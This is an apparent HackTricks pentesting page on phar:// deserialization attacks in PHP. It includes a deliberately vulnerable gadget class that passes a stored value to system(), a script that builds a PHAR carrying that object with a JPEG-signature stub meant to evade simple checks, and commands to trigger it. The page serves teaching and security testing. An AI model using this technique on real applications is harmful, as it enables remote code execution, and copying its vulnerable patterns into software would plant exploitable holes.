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// HackTricks · Web Pentesting

phar:// Deserialization

phar:// Deserialization

PHAR (PHP Archive) files can store serialized PHP values as archive metadata. Before PHP 8.0, opening a PHAR through the stream wrapper could automatically deserialize that metadata; starting with PHP 8.0, metadata deserialization is deferred until Phar::getMetadata() is called.[1]

Consequently, the classic phar:// object-injection technique applies primarily to PHP 7.x and older applications that pass attacker-controlled paths to filesystem functions such as file_exists(), filesize(), or file_get_contents(). On PHP 8.x, look instead for explicit calls to Phar::getMetadata() on an untrusted archive; PHP warns that doing so can execute code through object deserialization.[1][2]

Exploitation also requires a usable gadget class in the application. The following deliberately vulnerable example has a destructor that executes the value stored in $data:[3]

<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}

	function __destruct() {
		system($this->data);
	}
}

filesize("phar://test.phar"); // Attacker-controlled path on affected PHP versions

The following script creates a PHAR whose metadata contains that object:

<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}

	function __destruct() {
		system($this->data);
	}
}

// Create a new PHAR.
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// Store the gadget object as metadata.
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

The stub starts with JPEG signature bytes. This may evade a simplistic signature check, but it does not make the archive a fully valid image and will not bypass robust server-side validation.[3]

Create test.phar with:

php --define phar.readonly=0 create_phar.php

On an affected PHP version, invoking the vulnerable code causes the metadata object to be reconstructed and its destructor to run:

php vuln.php

References